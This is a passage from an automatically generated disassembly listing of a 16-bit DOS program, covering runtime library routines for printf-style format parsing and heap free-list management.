SHR AL,CL ; Shift w/zeros fill
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
MOV AL,DL
AND AL,CH
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
JMP SHORT LOC_161 ; (0EB0)
LOC_161:
POP BP
RETN 2
SUB_37 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_39 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,96H
PUSH SI
PUSH DI
MOV WORD PTR [BP-56H],0
MOV BYTE PTR [BP-53H],50H ; 'P'
JMP SHORT LOC_163 ; (0F00)

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

SUB_40:
PUSH DI
MOV CX,0FFFFH
XOR AL,AL ; Zero register
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
NOT CX
DEC CX
POP DI
RETN

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

SUB_41:
MOV [DI],AL
INC DI
DEC BYTE PTR [BP-53H]
JLE LOC_RET_162 ; Jump if < or =

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

SUB_42:
PUSH BX
PUSH CX
PUSH DX
PUSH ES
LEA AX,[BP-52H] ; Load effective addr
SUB DI,AX
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
PUSH DI
PUSH WORD PTR [BP+8]
CALL WORD PTR [BP+0AH] ;*(0000) 1 entry
MOV BYTE PTR [BP-53H],50H ; 'P'
ADD [BP-56H],DI
LEA DI,[BP-52H] ; Load effective addr
POP ES
POP DX
POP CX
POP BX

LOC_RET_162:
RETN
LOC_163:
PUSH ES
CLD ; Clear direction
LEA DI,[BP-52H] ; Load effective addr
MOV SS:DATA_127E[BP],DI ; (817F:FF6C=0)
LOC_164:
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
LOC_165:
MOV SI,[BP+6]
LOC_166:
LODSB ; String [si] to al
OR AL,AL ; Zero ?
JZ LOC_168 ; Jump if zero
CMP AL,25H ; '%'
JE LOC_169 ; Jump if equal
LOC_167:
MOV [DI],AL
INC DI
DEC BYTE PTR [BP-53H]
JG LOC_166 ; Jump if >
CALL SUB_42 ; (0EDD)
JMP SHORT LOC_166 ; (0F10)
LOC_168:
JMP LOC_247 ; (139E)
LOC_169:
MOV SS:DATA_134E[BP],SI ; (817F:FF78=0)
LODSB ; String [si] to al
CMP AL,25H ; '%'
JE LOC_167 ; Jump if equal
MOV SS:DATA_127E[BP],DI ; (817F:FF6C=0)
XOR CX,CX ; Zero register
MOV SS:DATA_133E[BP],CX ; (817F:FF76=0)
MOV SS:DATA_126E[BP],CX ; (817F:FF6A=0)
MOV SS:DATA_132E[BP],CL ; (817F:FF75=0)
MOV WORD PTR SS:DATA_130E[BP],0FFFFH ; (817F:FF70=0)
MOV WORD PTR SS:DATA_131E[BP],0FFFFH ; (817F:FF72=0)
JMP SHORT LOC_171 ; (0F53)
LOC_170:
LODSB ; String [si] to al
LOC_171:
XOR AH,AH ; Zero register
MOV DX,AX
MOV BX,AX
SUB BL,20H ; ' '
CMP BL,60H ; '`'
JAE LOC_173 ; Jump if above or =
MOV BL,DATA_111[BX] ; (8134:03F5=0)
MOV AX,BX
CMP AX,17H
JBE LOC_172 ; Jump if below or =
JMP LOC_245 ; (138C)
LOC_172:
MOV BX,AX
SHL BX,1 ; Shift w/zeros fill
JMP WORD PTR CS:DATA_41[BX] ;*(7FD4:0F78=0FC3H) 24 entries
DATA_41 DW OFFSET LOC_176 ; Data table (indexed access)
DATA_42 DW OFFSET LOC_174
DATA_43 DW OFFSET LOC_182
DATA_44 DW OFFSET LOCLOOP_175
DATA_45 DW OFFSET LOC_185
DATA_46 DW OFFSET LOC_186
DATA_47 DW OFFSET LOC_188
DATA_48 DW OFFSET LOC_189
DATA_49 DW OFFSET LOC_190
DATA_50 DW OFFSET LOC_180
DATA_51 DW OFFSET LOC_196
DATA_52 DW OFFSET LOC_191
DATA_53 DW OFFSET LOC_192
DATA_54 DW OFFSET LOC_193
DATA_55 DW OFFSET LOC_205
DATA_56 DW OFFSET LOC_214
DATA_57 DW OFFSET LOC_208
DATA_58 DW OFFSET LOC_209
DATA_59 DW OFFSET LOC_242
DATA_60 DW OFFSET LOC_245
DATA_61 DW OFFSET LOC_245
DATA_62 DW OFFSET LOC_245
DATA_63 DW OFFSET LOC_178
DATA_64 DW OFFSET LOC_179
LOC_173:
JMP LOC_245 ; (138C)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_174:
CMP CH,0
JA LOC_173 ; Jump if above
OR WORD PTR SS:DATA_126E[BP],1 ; (817F:FF6A=0)
JMP SHORT LOC_170 ; (0F52)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOCLOOP_175:
CMP CH,0
JA LOC_173 ; Jump if above
OR WORD PTR SS:DATA_126E[BP],2 ; (817F:FF6A=0)
JMP SHORT LOC_170 ; (0F52)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_176:
CMP CH,0
JA LOC_173 ; Jump if above
CMP BYTE PTR SS:DATA_132E[BP],2BH ; (817F:FF75=0) '+'
JE LOC_177 ; Jump if equal
MOV SS:DATA_132E[BP],DL ; (817F:FF75=0)
LOC_177:
JMP LOC_170 ; (0F52)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_178:
AND WORD PTR SS:DATA_126E[BP],0FFDFH ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_179:
OR WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_180:
CMP CH,0
JA LOC_186 ; Jump if above
TEST WORD PTR SS:DATA_126E[BP],2 ; (817F:FF6A=0)
JNZ LOC_183 ; Jump if not zero
OR WORD PTR SS:DATA_126E[BP],8 ; (817F:FF6A=0)
MOV CH,1
JMP LOC_170 ; (0F52)
LOC_181:
JMP LOC_245 ; (138C)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄ

LOC_182:
MOV DI,[BP+4]
MOV AX,[DI]
ADD WORD PTR [BP+4],2
CMP CH,2
JAE LOC_184 ; Jump if above or =
MOV SS:DATA_130E[BP],AX ; (817F:FF70=0)
MOV CH,3
LOC_183:
JMP LOC_170 ; (0F52)
LOC_184:
CMP CH,4
JNE LOC_181 ; Jump if not equal
MOV SS:DATA_131E[BP],AX ; (817F:FF72=0)
INC CH
JMP LOC_170 ; (0F52)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_185:
CMP CH,4
JAE LOC_181 ; Jump if above or =
MOV CH,4
JMP LOC_170 ; (0F52)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_186:
XCHG AX,DX
SUB AL,30H ; '0'
CBW ; Convrt byte to word
CMP CH,2
JA LOC_187 ; Jump if above
MOV CH,2
XCHG AX,SS:DATA_130E[BP] ; (817F:FF70=0)
OR AX,AX ; Zero ?
JL LOC_183 ; Jump if <
SHL AX,1 ; Shift w/zeros fill
MOV DX,AX
SHL AX,1 ; Shift w/zeros fill
SHL AX,1 ; Shift w/zeros fill
ADD AX,DX
ADD SS:DATA_130E[BP],AX ; (817F:FF70=0)
JMP LOC_170 ; (0F52)
LOC_187:
CMP CH,4
JNE LOC_181 ; Jump if not equal
XCHG AX,SS:DATA_131E[BP] ; (817F:FF72=0)
OR AX,AX ; Zero ?
JL LOC_183 ; Jump if <
SHL AX,1 ; Shift w/zeros fill
MOV DX,AX
SHL AX,1 ; Shift w/zeros fill
SHL AX,1 ; Shift w/zeros fill
ADD AX,DX
ADD SS:DATA_131E[BP],AX ; (817F:FF72=0)
JMP LOC_170 ; (0F52)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_188:
OR WORD PTR SS:DATA_126E[BP],10H ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_189:
OR WORD PTR SS:DATA_126E[BP],100H ; (817F:FF6A=0)
AND WORD PTR SS:DATA_126E[BP],0FFEFH ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_190:
AND WORD PTR SS:DATA_126E[BP],0FFEFH ; (817F:FF6A=0)
OR WORD PTR SS:DATA_126E[BP],80H ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_191:
MOV BH,8
JMP SHORT LOC_194 ; (10AD)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_192:
MOV BH,0AH
JMP SHORT LOC_195 ; (10B2)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_193:
MOV BH,10H
MOV BL,0E9H
ADD BL,DL
LOC_194:
MOV BYTE PTR SS:DATA_132E[BP],0 ; (817F:FF75=0)
LOC_195:
MOV BYTE PTR SS:DATA_129E[BP],0 ; (817F:FF6F=0)
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
MOV AX,[DI]
XOR DX,DX ; Zero register
JMP SHORT LOC_197 ; (10D5)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_196:
MOV BH,0AH
MOV BYTE PTR SS:DATA_129E[BP],1 ; (817F:FF6F=0)
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
MOV AX,[DI]
CWD ; Word to double word
LOC_197:
INC DI
INC DI
MOV [BP+6],SI
TEST WORD PTR SS:DATA_126E[BP],10H ; (817F:FF6A=0)
JZ LOC_198 ; Jump if zero
MOV DX,[DI]
INC DI
INC DI
LOC_198:
MOV [BP+4],DI
LEA DI,[BP-85H] ; Load effective addr
OR AX,AX ; Zero ?
JNZ LOC_202 ; Jump if not zero
OR DX,DX ; Zero ?
JNZ LOC_202 ; Jump if not zero
CMP WORD PTR SS:DATA_131E[BP],0 ; (817F:FF72=0)
JNE LOC_203 ; Jump if not equal
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
MOV CX,SS:DATA_130E[BP] ; (817F:FF70=0)
JCXZ LOC_201 ; Jump if cx=0
CMP CX,0FFFFH
JE LOC_201 ; Jump if equal
MOV AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
AND AX,8
JZ LOC_199 ; Jump if zero
MOV DL,30H ; '0'
JMP SHORT LOCLOOP_200 ; (111A)
LOC_199:
MOV DL,20H ; ' '

LOCLOOP_200:
MOV AL,DL
CALL SUB_41 ; (0ED5)
LOOP LOCLOOP_200 ; Loop if cx > 0

LOC_201:
JMP LOC_165 ; (0F0D)
LOC_202:
OR WORD PTR SS:DATA_126E[BP],4 ; (817F:FF6A=0)
LOC_203:
PUSH DX
PUSH AX
PUSH DI
MOV AL,BH
CBW ; Convrt byte to word
PUSH AX
MOV AL,SS:DATA_129E[BP] ; (817F:FF6F=0)
PUSH AX
PUSH BX
CALL SUB_30 ; (0A49)
PUSH SS
POP ES
MOV DX,SS:DATA_131E[BP] ; (817F:FF72=0)
OR DX,DX ; Zero ?
JG LOC_204 ; Jump if >
JMP LOC_219 ; (125A)
LOC_204:
JMP LOC_220 ; (126A)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_205:
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV [BP+6],SI
LEA DI,[BP-86H] ; Load effective addr
MOV BX,[BP+4]
PUSH WORD PTR [BX]
INC BX
INC BX
MOV [BP+4],BX
TEST WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
JZ LOC_206 ; Jump if zero
PUSH WORD PTR [BX]
INC BX
INC BX
MOV [BP+4],BX
PUSH SS
POP ES
CALL SUB_38 ; (0E89)
MOV AL,3AH ; ':'
STOSB ; Store al to es:[di]
LOC_206:
PUSH SS
POP ES
CALL SUB_38 ; (0E89)
MOV BYTE PTR [DI],0
MOV BYTE PTR SS:DATA_129E[BP],0 ; (817F:FF6F=0)
AND WORD PTR SS:DATA_126E[BP],0FFFBH ; (817F:FF6A=0)
LEA CX,[BP-86H] ; Load effective addr
SUB DI,CX
XCHG CX,DI
MOV DX,SS:DATA_131E[BP] ; (817F:FF72=0)
CMP DX,CX
JG LOC_207 ; Jump if >
MOV DX,CX
LOC_207:
JMP LOC_219 ; (125A)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_208:
MOV [BP+6],SI
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
MOV AX,[DI]
ADD WORD PTR [BP+4],2
PUSH SS
POP ES
LEA DI,[BP-85H] ; Load effective addr
XOR AH,AH ; Zero register
MOV [DI],AX
MOV CX,1
JMP LOC_223 ; (1294)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_209:
MOV [BP+6],SI
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
TEST WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
JNZ LOC_210 ; Jump if not zero
MOV DI,[DI]
ADD WORD PTR [BP+4],2
PUSH DS
POP ES
OR DI,DI ; Zero ?
JMP SHORT LOC_211 ; (11E4)
LOC_210:
LES DI,DWORD PTR [DI] ; Load 32 bit ptr
ADD WORD PTR [BP+4],4
MOV AX,ES
OR AX,DI
LOC_211:
JNZ LOC_212 ; Jump if not zero
PUSH DS
POP ES
MOV DI,3DEH
LOC_212:
CALL SUB_40 ; (0EC8)
CMP CX,SS:DATA_131E[BP] ; (817F:FF72=0)
JBE LOC_213 ; Jump if below or =
MOV CX,SS:DATA_131E[BP] ; (817F:FF72=0)
LOC_213:
JMP LOC_223 ; (1294)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_214:
MOV [BP+6],SI
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
MOV CX,SS:DATA_131E[BP] ; (817F:FF72=0)
OR CX,CX ; Zero ?
JGE LOC_215 ; Jump if > or =
MOV CX,6
LOC_215:
PUSH DI
PUSH CX
LEA BX,[BP-85H] ; Load effective addr
PUSH BX
PUSH DX
MOV AX,1
AND AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
PUSH AX
MOV AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
TEST AX,80H
JZ LOC_216 ; Jump if zero
MOV AX,2
MOV WORD PTR [BP-2],4
JMP SHORT LOC_218 ; (124A)
LOC_216:
TEST AX,100H
JZ LOC_217 ; Jump if zero
MOV AX,8
MOV WORD PTR [BP-2],0AH
JMP SHORT LOC_218 ; (124A)
LOC_217:
MOV WORD PTR [BP-2],8
MOV AX,6
LOC_218:
PUSH AX
CALL SUB_37 ; (0E85)
MOV AX,[BP-2]
ADD [BP+4],AX
PUSH SS
POP ES
LEA DI,[BP-85H] ; Load effective addr
LOC_219:
TEST WORD PTR SS:DATA_126E[BP],8 ; (817F:FF6A=0)
JZ LOC_221 ; Jump if zero
MOV DX,SS:DATA_130E[BP] ; (817F:FF70=0)
OR DX,DX ; Zero ?
JLE LOC_221 ; Jump if < or =
LOC_220:
CALL SUB_40 ; (0EC8)
SUB DX,CX
JLE LOC_221 ; Jump if < or =
MOV SS:DATA_133E[BP],DX ; (817F:FF76=0)
LOC_221:
MOV AL,SS:DATA_132E[BP] ; (817F:FF75=0)
OR AL,AL ; Zero ?
JZ LOC_222 ; Jump if zero
CMP BYTE PTR ES:[DI],2DH ; '-'
JE LOC_222 ; Jump if equal
SUB WORD PTR SS:DATA_133E[BP],1 ; (817F:FF76=0)
ADC WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
DEC DI
MOV ES:[DI],AL
LOC_222:
CALL SUB_40 ; (0EC8)
LOC_223:
MOV SI,DI
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
MOV BX,SS:DATA_130E[BP] ; (817F:FF70=0)
MOV AX,5
AND AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
CMP AX,5
JNE LOC_224 ; Jump if not equal
MOV AH,SS:DATA_128E[BP] ; (817F:FF6E=0)
CMP AH,6FH ; 'o'
JNE LOC_225 ; Jump if not equal
CMP WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
JG LOC_224 ; Jump if >
MOV WORD PTR SS:DATA_133E[BP],1 ; (817F:FF76=0)
LOC_224:
JMP SHORT LOC_227 ; (12E1)
DB 90H
LOC_225:
CMP AH,78H ; 'x'
JE LOC_226 ; Jump if equal
CMP AH,58H ; 'X'
JNE LOC_227 ; Jump if not equal
LOC_226:
OR WORD PTR SS:DATA_126E[BP],40H ; (817F:FF6A=0)
DEC BX
DEC BX
SUB WORD PTR SS:DATA_133E[BP],2 ; (817F:FF76=0)
JGE LOC_227 ; Jump if > or =
MOV WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
LOC_227:
ADD CX,SS:DATA_133E[BP] ; (817F:FF76=0)
TEST WORD PTR SS:DATA_126E[BP],2 ; (817F:FF6A=0)
JNZ LOC_230 ; Jump if not zero
JMP SHORT LOC_229 ; (12F5)
LOC_228:
MOV AL,20H ; ' '
CALL SUB_41 ; (0ED5)
DEC BX
LOC_229:
CMP BX,CX
JG LOC_228 ; Jump if >
LOC_230:
TEST WORD PTR SS:DATA_126E[BP],40H ; (817F:FF6A=0)
JZ LOC_231 ; Jump if zero
MOV AL,30H ; '0'
CALL SUB_41 ; (0ED5)
MOV AL,SS:DATA_128E[BP] ; (817F:FF6E=0)
CALL SUB_41 ; (0ED5)
LOC_231:
MOV DX,SS:DATA_133E[BP] ; (817F:FF76=0)
OR DX,DX ; Zero ?
JLE LOC_236 ; Jump if < or =
SUB CX,DX
SUB BX,DX
MOV AL,ES:[SI]
CMP AL,2DH ; '-'
JE LOC_232 ; Jump if equal
CMP AL,20H ; ' '
JE LOC_232 ; Jump if equal
CMP AL,2BH ; '+'
JNE LOC_233 ; Jump if not equal
LOC_232:
LODS BYTE PTR ES:[SI] ; String [si] to al
CALL SUB_41 ; (0ED5)
DEC CX
DEC BX
LOC_233:
XCHG CX,DX
JCXZ LOC_235 ; Jump if cx=0

LOCLOOP_234:
MOV AL,30H ; '0'
CALL SUB_41 ; (0ED5)
LOOP LOCLOOP_234 ; Loop if cx > 0

LOC_235:
XCHG CX,DX
LOC_236:
JCXZ LOC_239 ; Jump if cx=0
SUB BX,CX

LOCLOOP_237:
LODS BYTE PTR ES:[SI] ; String [si] to al
MOV [DI],AL
INC DI
DEC BYTE PTR [BP-53H]
JG LOC_238 ; Jump if >
CALL SUB_42 ; (0EDD)
LOC_238:
LOOP LOCLOOP_237 ; Loop if cx > 0

LOC_239:
OR BX,BX ; Zero ?
JLE LOC_241 ; Jump if < or =
MOV CX,BX

LOCLOOP_240:
MOV AL,20H ; ' '
CALL SUB_41 ; (0ED5)
LOOP LOCLOOP_240 ; Loop if cx > 0

LOC_241:
JMP LOC_165 ; (0F0D)
SUB_39 ENDP

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_242:
MOV [BP+6],SI
MOV DI,[BP+4]
TEST WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
JNZ LOC_243 ; Jump if not zero
MOV DI,[DI]
ADD WORD PTR [BP+4],2
PUSH DS
POP ES
JMP SHORT LOC_244 ; (137D)
LOC_243:
LES DI,DWORD PTR [DI] ; Load 32 bit ptr
ADD WORD PTR [BP+4],4
LOC_244:
MOV AX,50H
SUB AL,[BP-53H]
ADD AX,[BP-56H]
MOV ES:[DI],AX
JMP LOC_164 ; (0F09)

;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

LOC_245:
MOV SI,SS:DATA_134E[BP] ; (817F:FF78=0)
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
MOV AL,25H ; '%'
LOC_246:
CALL SUB_41 ; (0ED5)
LODSB ; String [si] to al
OR AL,AL ; Zero ?
JNZ LOC_246 ; Jump if not zero
LOC_247:
CMP BYTE PTR [BP-53H],50H ; 'P'
JGE LOC_248 ; Jump if > or =
CALL SUB_42 ; (0EDD)
LOC_248:
POP ES
MOV AX,[BP-56H]
JMP SHORT LOC_249 ; (13AD)
LOC_249:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 8

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_43 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV SI,[BP+4]
CMP WORD PTR DS:DATA_36E,0 ; (7FC4:04A6=8C40H)
JE LOC_250 ; Jump if equal
MOV BX,DS:DATA_36E ; (7FC4:04A6=8C40H)
MOV DI,[BX+6]
MOV BX,DS:DATA_36E ; (7FC4:04A6=8C40H)
MOV [BX+6],SI
MOV [DI+4],SI
MOV [SI+6],DI
MOV AX,DS:DATA_36E ; (7FC4:04A6=8C40H)
MOV [SI+4],AX
JMP SHORT LOC_251 ; (13EA)
LOC_250:
MOV DS:DATA_36E,SI ; (7FC4:04A6=8C40H)
MOV [SI+4],SI
MOV [SI+6],SI
LOC_251:
POP DI
POP SI
POP BP
RETN
SUB_43 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_44 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
PUSH SI
PUSH DI
MOV SI,[BP+6]
MOV DI,[BP+4]
MOV AX,[SI]
ADD [DI],AX
MOV AX,DS:DATA_35E ; (7FC4:04A4=0AC26H)
CMP AX,SI
JNE LOC_252 ; Jump if not equal
MOV DS:DATA_35E,DI ; (7FC4:04A4=0AC26H)
JMP SHORT LOC_253 ; (141A)
LOC_252:
MOV AX,[SI]
ADD AX,SI
MOV [BP-2],AX
MOV BX,[BP-2]
MOV [BX+2],DI
LOC_253:
PUSH SI
CALL SUB_15 ; (04EB)
POP CX
POP DI
POP SI
MOV SP,BP
POP BP
RETN
SUB_44 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_45 PROC NEAR
PUSH SI
MOV AX,DS:DATA_37E ; (7FC4:04A8=87C5H)
CMP AX,DS:DATA_35E ; (7FC4:04A4=0AC26H)
JNE LOC_254 ; Jump if not equal
PUSH WORD PTR DS:DATA_37E ; (7FC4:04A8=87C5H)
CALL SUB_22 ; (0690)
POP CX
XOR AX,AX ; Zero register
MOV DS:DATA_35E,AX ; (7FC4:04A4=0AC26H)
MOV DS:DATA_37E,AX ; (7FC4:04A8=87C5H)
JMP SHORT LOC_258 ; (147C)
LOC_254:
MOV BX,DS:DATA_35E ; (7FC4:04A4=0AC26H)
MOV SI,[BX+2]
TEST WORD PTR [SI],1
JNZ LOC_257 ; Jump if not zero
PUSH SI
CALL SUB_15 ; (04EB)
POP CX
CMP SI,DS:DATA_37E ; (7FC4:04A8=87C5H)
JNE LOC_255 ; Jump if not equal
XOR AX,AX ; Zero register
MOV DS:DATA_35E,AX ; (7FC4:04A4=0AC26H)
MOV DS:DATA_37E,AX ; (7FC4:04A8=87C5H)
JMP SHORT LOC_256 ; (1469)
LOC_255:
MOV AX,[SI+2]
MOV DS:DATA_35E,AX ; (7FC4:04A4=0AC26H)
LOC_256:
PUSH SI
CALL SUB_22 ; (0690)
POP CX
JMP SHORT LOC_258 ; (147C)
LOC_257:
PUSH WORD PTR DS:DATA_35E ; (7FC4:04A4=0AC26H)
CALL SUB_22 ; (0690)
POP CX
MOV DS:DATA_35E,SI ; (7FC4:04A4=0AC26H)
LOC_258:
POP SI
RETN
SUB_45 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_46 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
